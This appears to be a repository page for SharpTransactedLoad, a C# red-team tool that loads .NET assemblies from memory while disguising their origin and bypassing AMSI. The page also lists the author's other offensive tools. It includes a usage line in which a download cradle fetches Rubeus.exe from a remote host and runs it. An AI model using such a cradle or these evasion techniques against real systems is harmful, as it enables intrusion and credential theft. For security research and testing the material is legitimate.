• Stars
    star
    157
  • Rank 238,399 (Top 5 %)
  • Language
    C#
  • License
    BSD 3-Clause "New...
  • Created over 3 years ago
  • Updated over 3 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Load .net assemblies from memory while having them appear to be loaded from an on-disk location.

SharpTransactedLoad

Load .net assemblies from memory while having them appear to be loaded from an on-disk location. Bypasses AMSI and expands the number of methods available for use in loading arbitrary assemblies while still avoiding dropping files to disk - some of which provide additional functionality over the traditional Assembly.Load call. Currently built for .net 4.5, but should be compatible with other versions.

blog covering how the code works: https://blog.redxorblue.com/2021/05/assemblylie-using-transactional-ntfs.html

Building and Using

Note: Testing was done with an x64 build, and as a result I would recommend building the project as x64. This still allows you to reflectively load both x86 and x64 assemblies from memory. Rather, this setting just controls the architecture of the dll itself. Although "Any CPU" appears to function as intended as well, I have no clue if any weird behavior would be exhibited when attempting to inject into an x86 process etc.

The repo consists of two projects: SharpTransactedLoad (STL) and SharperCradle. STL contains the actual code and compiles to a .dll that can then be used in other projects. SharperCradle is a very simple proof of concept web download cradle showing how STL can be used in a portable tool to avoid having to call Assembly.Load(byte[]). Both projects use Costura to merge all the necessary DLLs into a single portable package.

SharpTransactedLoad

This project builds as a DLL, and as a result it isnt something that can be directly ran. Rather, once this is built you can add it as a reference in another project and use it by calling "STL.TransactedAssembly.Load(byte[])" STL uses EasyHook for hooking functions. Within the project there are currently two required EasyHook DLLs:

  • EasyHook.dll: sits in the SharpTransactedLoad/SharpTransactedLoad/ folder. This is a managed DLL and handles communications with the second (unmanaged) EasyHook dll.
  • EasyHook64.dll: sits in the SharpTransactedLoad/SharpTransactedLoad/Costura64 folder. This is an unmanaged DLL, and handles the actual hooking functions.

Both of these DLL's were taken straight from EasyHook, but I definitely understand folks hesitancy to blindly trust pre-compiled code. If you opt for the more opsec route, the original DLLs can be pulled directly from EasyHook and swapped for the ones currently in the project, just make sure names align. Also, when browsing the project you may notice the Costura32 folder does not have anything in it. If you opt to build as x86, I would drop the DLL in there.

Build instructions:

  • Clean the solution to re-populate all necessary Costura + Fody packages. In Visual Studio, go 'Build' -> 'Clean Solution'.
  • (Recommended) Set your platform to x64. In Visual Studio, select x64 from the 'Solution Platforms' dropdown near the top of the screen (likely currently set to 'Any CPU').
  • (Optional) Change deployment config to Debug or Release, as suits your needs. Debug will print a bunch of output to the console when an assembly is loaded regarding the results of the different steps in the process, whereas release runs without printing anything.
  • Build the solution In Visual Studio, go 'Build' -> 'Build Solution'.

SharperCradle

This serves as a PoC of how STL can be used in a project to avoid the standard Assembly.Load(byte[]) call. Builds as a PE.

Build instructions:

  • Clean the solution to re-populate all necessary Costura + Fody packages. In Visual Studio, go 'Build' -> 'Clean Solution'.
  • (Required if you built STL as x64) Set your platform to x64. In Visual Studio, select x64 from the 'Solution Platforms' dropdown near the top of the screen (likely currently set to 'Any CPU').
  • Build the solution In Visual Studio, go 'Build' -> 'Build Solution'.

Once built, calling is super basic - just pass the uri of the resource you're attempting to load as the first arg, with any args to be passed to the loaded assembly behind that, for example:

SharperCradle.exe http://192.168.1.100/Rubeus.exe Triage

Credits

More Repositories

1

SharpSecDump

.Net port of the remote SAM + LSA Secrets dumping functionality of impacket's secretsdump.py
C#
571
star
2

PowerPriv

A Powershell implementation of PrivExchange designed to run under the current user's context
PowerShell
123
star
3

GetWebDAVStatus

Determine if the WebClient Service (WebDAV) is running on a remote system
C
117
star
4

wmiServSessEnum

.net tool that uses WMI queries to enumerate active sessions and accounts configured to run services on remote systems
C#
32
star
5

DayBird

Extension functionality for the NightHawk operator client
C#
26
star
6

backdoorLnkMacroStagerObfuscated

Obfuscated Powershell Empire 2.x stager that allows for creation of a macro which uses VBA to backdoor .lnk files on the system. This is done to obtain a shell via follow-up user interaction natively through powershell, in order to evade tools that monitor process execution. Backdoors are self-cleaning on execution.
Python
17
star
7

PreliminaryBackdoorLnkMacroStager

Original testing version of the backdoorLnkMacroStager - please reference backdoorLnkMacroStagerObfuscated or backdoorLnkMacroStagerCellEmbed for current versions
Python
5
star
8

backdoorLnkMacroStagerCellEmbed

Powershell Empire 2.x stager that allows for creation of a macro which uses VBA to backdoor .lnk files on the system. This is done to obtain a shell via follow-up user interaction natively through powershell, in order to evade tools that monitor process execution. Data is embedded in .xls cells and called in the macro to evade detection. Backdoors are self-cleaning on execution.
Python
5
star
9

Service-Executable-Permissions-Checker

PowerShell
3
star